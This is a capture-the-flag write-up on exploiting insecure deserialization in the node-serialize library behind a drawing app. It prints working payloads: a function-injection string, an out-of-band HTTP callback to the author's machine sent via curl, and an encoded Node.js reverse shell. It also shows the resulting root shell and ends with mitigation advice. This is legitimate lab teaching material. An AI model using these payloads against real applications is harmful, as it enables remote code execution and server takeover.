Misc CTF - Insecure Deserialization

— Written by — 5 min read

This challenge highlight an important and too common vulnerability: Insecure Deserialization.

Let’s solve this challenge to better understand the underlying issue there.

Tl;Dr: Untrusted data passed into unserialize() function in node-serialize module is exploited to achieve arbitrary code execution and flag read by sending a serialized JavaScript Object with an Immediately invoked function expression (IIFE).


Recon

Opening the challenge display the following website:

paint.web

From here it’s possible to make drawings. There is a save function for loading them later:

paint.web example

While inspecting the “save” string we notice a recurring part:

1
"s":"_$$ND_CC$$_$"

Searching for this string online might gives us more informations about the function used.

A quick Google search redirect us to a commit from the [node-serialize](https://github.com/luin/serialize) library.
As its name indicate, it is used to serialize an object including its functions into JSON. That make sense for the “save” of our paint.web app drawings.

While going through the Readme.md of the project we notice the following warning:

SECURITY WARNING

This module provides a way to unserialize strings into executable JavaScript code, so that it may lead security vulnerabilities if the original strings can be modified by untrusted third-parties (aka hackers). For instance, the following attack example shows how to achieve arbitrary code injection.

This security warning sounds exactly like our paint.web app scenario. And we even have an already made example!

1
2
3
4

var serialize = require('node-serialize');
var x = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'rce\')}()"}'
serialize.unserialize(x);

We can guess that the app is taking the JSON formatted data passed into the “save” form and unserialize it to get the drawing informations to display on screen.

Let’s try to inject a Javascript object into the “save” string.
If everything goes as planned, our JS code should be executed during the unserialize process:

Did it work ?

Since the application doesn’t output anything, how can we know that our injection was successful ? Once again we will have to go with a blind injection.

Blind JS Object injection

The first way that comes to mind when doing blind injection is to use the sleep function. We inject a sleep 5 and if the request takes 5 seconds to finish then we can conclude the injection was successful.

Since we are in front of a Node application, this might not be the best way to go. Node being asynchronous it’s very possible a new thread will spawn the sleep 5 and immediately close the request without waiting for the sleep to finish.

A better way to check if our injection worked in our scenario is to make a GET request to a server we control. This way we can check the access and see if the GET requests was sent from the applications backend.

Here is an example on how to do it:

  1. First let’s open a simple web server using python on our machine :
1
2
3

$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
  1. Craft our JS code to make a call to this server and include it in the payload:
1
{"rce":"_$$ND_FUNC$$_function (){ require('http').get('http://192.168.1.21:8000/paintwebrce') }()"}
  1. Use the app load function to send the payload:
1
2
3
$ curl 'http://ctf.one:3646/load' \
-H 'Content-Type: text/plain' \
-d $'{"rce":"_$$ND_FUNC$$_function (){ require(\'http\').get(\'http://192.168.1.21:8000/paintwebrce\') }()"}'
  1. Validate our server received the request:
1
2
3
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.21 - - [11:34:31] "GET /paintwebrce HTTP/1.1" 404 -

We now have confirmed we can execute JS code on the app backend.

Opening a reverse-shell

We now have a way to execute JS on the app backend, what’s the next step ?

Let’s open a reverse shell to gain full access over the app server. As a reminder:

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the local host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. A reverse shell (also called a connect-back shell) can also be the only way to gain remote shell access across a NAT or firewall.

Source: Understanding Reverse Shells

So far we do not have a lot of knowledge about the server, we do not know if python, wget, curl, netcat or this kind of useful tools are installed.

One thing we know for sure is that the server is running Node (X-Powered-By: Express). To make sure our reverse shell can work let’s create a Node based reverse shell.

First let’s open an netcat listener that will receive the connection from the reverse shell:

1
2
$ netcat -l -p 8585 -vv  # Mac: brew install netcat
Listening on any address 8585

And now let’s use nodejsshell.py script to generate a Nodejs reverse shell:

1
2
3
4
5
$ python2 nodejsshell.py 192.168.1.21 8585
[+] LHOST = 192.168.1.21
[+] LPORT = 8585
[+] Encoding
eval(String.fromCharCode(10,118,[...],59,10))

Let’s include this encoded reserve shell to our payload and load it:

1
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,[...],59,10))}()"}

As soon as we click on “Load“ on new connection appear on our listener, giving us full access to the remote server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ netcat -l -p 8585 -vv
Listening on any address 8585
Connection from 192.168.1.21:55197
Connected!
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
$ ls
index.html
index.js
node_modules
package-lock.json
package.json
$ grep -ri 'FLAG{' .
./index.js:// FLAG{b3w4r3 0f 53r14l1z4710n!}

Mitigations

The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one of more of the following:

  • Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
  • Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
  • Isolating and running code that deserializes in low privilege environments when possible.
  • Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
  • Monitoring deserialization, alerting if a user deserializes constantly.

Reference

Real Life example


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
, ,